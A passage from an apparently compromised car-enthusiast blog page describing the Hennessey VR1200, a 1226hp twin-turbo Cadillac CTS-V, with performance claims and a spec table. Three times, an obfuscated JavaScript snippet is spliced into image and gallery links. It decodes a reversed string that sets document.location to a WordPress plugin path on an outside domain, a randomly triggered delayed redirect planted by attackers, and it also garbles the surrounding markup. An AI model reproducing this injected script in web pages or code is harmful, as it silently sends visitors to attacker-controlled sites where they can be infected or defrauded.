$VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston.com/media/2012/09/HennesseyCTSVR10.jpg” alt=”” width=”728″ height=”484″ />
Again, this is no ‘ordinary’ 556hp CTS-V we’re talking about: that quarter mile stretch of tarmac will be covered in just 10.2s, and if the taps are opened hard enough, the Hennessey VR1200 will hit 227kph.
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So, we have the performance, we have the power, we have the looks, and we have the potential demonic possession. It feels like there’s one thing missing though to really complete this picture. How about a sunset to disappear into…?
$VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston.com/media/2012/09/HennesseyCTSVR04.jpg” alt=”” width=”728″ height=”484″ />
Yep, that should just about do it.
Hennessey VR1200 | |
---|---|
Engine: | 7.0-litre / V8 / twin-turbo |
Location: | Front / longitudinal |
Power: | 1226hp @ 6400rpm |
Torque: | 1109lb ft @ 4000rpm |
Transmission: | Six-speed manual / rear-wheel drive |
Suspension: | Factory Magnetic Ride Control Tuned / upgraded swaybars front and rear |
Brakes: | Brembo 15.1 inch Carbon Ceramic Rotors / Calipers: 8-Piston (F) 6-Piston (R) |
Wheels: | 20in Hennessey front and rear |
Tyres: | Michelin Pilot Super Sport / 275/30YR-20 (F) 345/30YR-20 (R) |
0-100kph: | 2.9 |
Top speed: | 389kph |
Basic price: | $295,000 |
– Shots courtesy of Hennessey Performance. Be sure to check out $VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston.com/galleries/album/01/hennessey-vr1200/” target=”_blank”>the gallery HERE.